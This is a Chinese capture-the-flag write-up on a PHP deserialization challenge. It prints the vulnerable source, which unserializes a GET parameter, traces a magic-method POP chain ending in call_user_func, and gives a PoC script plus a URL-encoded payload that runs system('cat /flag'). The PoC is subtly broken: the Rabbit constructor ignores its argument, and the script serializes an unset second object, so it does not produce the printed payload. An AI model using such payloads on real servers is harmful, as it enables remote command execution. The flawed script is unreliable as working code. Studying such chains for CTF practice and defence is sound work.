源代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
很明显,是一个反序列化漏洞
$a = unserialize($_GET['pop']);
前置知识
php魔术方法:
__call()
: 在对象中调用一个不可访问方法时,__call()
会被调用__invoke
: 当一个对象被作为函数调用时被调用__set
: 当对象设置一个不存在的属性时调用__get
: 当对象访问一个不存在的属性时调用
序列化只会保存对象的属性对应的值
分析
找有没有危险函数, 在Happy类中找到了
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
这里我们需要找到哪里调用了未定义的方法
可以找到 Nevv 对象
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
根据对象内容我们找到Year对象中的 __get 方法
public function __get($name)
{
$name = $this->rabbit;
$name();
}
如果将 $this->rabbit
的值换成 Nevv 就可以执行 __invoke 方法
同样如果需要执行这个对象我们就需要访问一个不存在的属性
class Rabbit{
private $aspiration; // Year
public function __set($name,$val){
return $this->aspiration->family;
}
}
根据上述内容找到
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
上面设置了未知方法
找到调用的地方,在Year对象中
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
在对象销毁时执行并且 $this->key = "happy new year"
到这里就分析完毕这一整条反射链
Happy -> Nevv -> Year -> Rabbit -> Year
也就是说我们需要构造的话以下反射链
Year-> Rabbit -> Year -> Nevv -> Happy
poc
<?php
class Happy
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class Nevv
{
private $happiness;
function __construct($happiness)
{
$this->happiness = $happiness;
}
}
class Rabbit
{
private $aspiration; // Year
function __construct()
{
$this->aspiration = $aspiration;
}
}
class Year
{
public $key;
public $rabbit;
}
$happy = new Happy("system", "cat /flag");
$Nevv = new Nevv($happy); # Nevv -> Happy
$Year = new Year();
$Year->key = 0;
$Year->rabbit = $Nevv; # Year -> Nevv
$Rabbit = new Rabbit($Year); # Rabbit -> Year
$Year2 = new Year();
$Year->key = "happy new year";
$Year->rabbit = $Rabbit; # Year-> Rabbit
# Year-> Rabbit -> Year -> Nevv -> Happy
echo urlencode(serialize($Year2));
O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D